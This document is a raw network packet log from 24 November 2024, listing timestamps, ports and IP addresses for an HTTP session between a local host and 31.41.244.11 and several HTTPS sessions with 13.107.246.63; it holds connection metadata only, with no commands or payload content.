Nov 24, 2024 10:24:18.011584997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.011610031 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.011635065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.011650085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.012748957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.012845993 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.012901068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.013858080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.013989925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.014034033 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.014998913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.015039921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.015089989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.016115904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.016159058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.016208887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.016724110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.017251968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.017399073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.017441988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.018395901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.018491030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.018553019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.019515991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.019582987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.019610882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.020631075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.020677090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.020781994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.020975113 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.021769047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.021881104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.021934032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.022918940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.023019075 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.023067951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.024049997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.024094105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.024219036 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.025217056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.025233030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.025258064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.025273085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.026305914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.026401043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.026448965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.027501106 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.027543068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.027573109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.028567076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.028599024 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.028640032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.028750896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.028790951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039052963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039141893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039191961 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039208889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039217949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039243937 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039252043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039267063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039278030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039288998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039309025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039354086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039367914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039385080 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039401054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039412022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039427042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.039436102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039458036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.039474964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.147157907 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.150757074 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.154597044 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.154633999 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.154645920 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.154656887 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.154660940 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.158144951 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.158190012 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.158600092 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.158752918 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.158766985 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.177367926 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.177571058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.177647114 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.177927017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.177982092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.178031921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.178936005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.179049015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.179100037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.180058956 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.180109978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.180222034 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.181252003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.181277990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.181307077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.181355000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.182312012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.182426929 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.182478905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.183469057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.183605909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.183659077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.184596062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.184699059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.184752941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.184796095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.185724974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.185775995 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.185831070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.185877085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.186861992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.186949968 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.186997890 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.187978983 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.188071966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.188122034 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.189115047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.189158916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.189234018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.190248966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.190296888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.190376997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.190583944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.191390991 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.191505909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.191560030 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.192512989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.192681074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.192734003 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.193681955 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.193732023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.193783045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.194577932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.194812059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.194856882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.194955111 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.195000887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.195894003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.195951939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.195988894 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.196041107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.197079897 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.197175026 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.197226048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.198174000 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.198298931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.198348999 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.199301958 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.199421883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.199471951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.200516939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.200567007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.200644016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.201582909 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.201632023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.201664925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.202575922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.202703953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.202878952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.202929974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.203835964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.204056025 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.204108000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.204982042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.205029964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.205080986 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.206118107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.206171989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.206202984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.206576109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.207242966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.207370996 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.207421064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.208359957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.208488941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.208543062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.209516048 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.209568977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.209613085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.210578918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.210622072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.210669994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.210740089 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.210786104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.211843014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.211982012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.212033987 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.213112116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.213196039 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.213259935 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.214195967 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.214270115 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.214313030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.214589119 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.215337038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.215396881 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.215435028 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.215480089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.216293097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.216363907 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.216394901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.216443062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.217469931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.217525005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.217607975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.218539000 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.218559027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.218585014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.218746901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.218796015 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.219695091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.219753027 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.219789982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.219832897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.220824003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.220920086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.220980883 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.221935034 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.222053051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.222109079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.223099947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.223213911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.223267078 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.224292040 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.224340916 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.224375010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.225569010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.225624084 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.225861073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.226576090 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.227081060 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.227186918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.227236986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.228164911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.228180885 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.228282928 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.229749918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.229803085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.229829073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.230573893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.230685949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.230897903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.230946064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.231761932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.231909037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.231957912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.232775927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.232875109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.232883930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.233428955 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.233503103 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.233686924 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.233752966 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.233814955 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.233829975 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.233839035 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.233844042 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.233959913 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.234106064 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.234174013 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.235377073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.235569954 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.235631943 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.236509085 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.236538887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.236592054 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.237057924 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.237087011 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.237169027 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.237370014 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.237384081 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.237562895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.237623930 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.342226982 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.345330954 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.345383883 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.345448017 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.345454931 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.345467091 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.345469952 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.348793030 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.348887920 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.348973989 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.349124908 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.349162102 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.387754917 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.391032934 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.391069889 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.391092062 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.391134024 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.391184092 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.391195059 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.391206980 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.391211987 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.393734932 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.393750906 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.393847942 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.394026041 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.394037962 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.419492006 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.419930935 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.419945002 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.420550108 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:18.420556068 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:18.589600086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.589615107 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.589634895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.589649916 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.589674950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.589701891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.590307951 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.590362072 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.590445042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.590495110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.591460943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.591515064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.591584921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.591634035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.592385054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.592442036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.592473030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.592520952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.594240904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.594297886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.594676971 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.594727039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.597111940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.597127914 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.597145081 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.597167969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.597191095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.597254038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:18.597296000 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:18.597959995 CET	80	49813	31.41.244.11	192.168.2.5
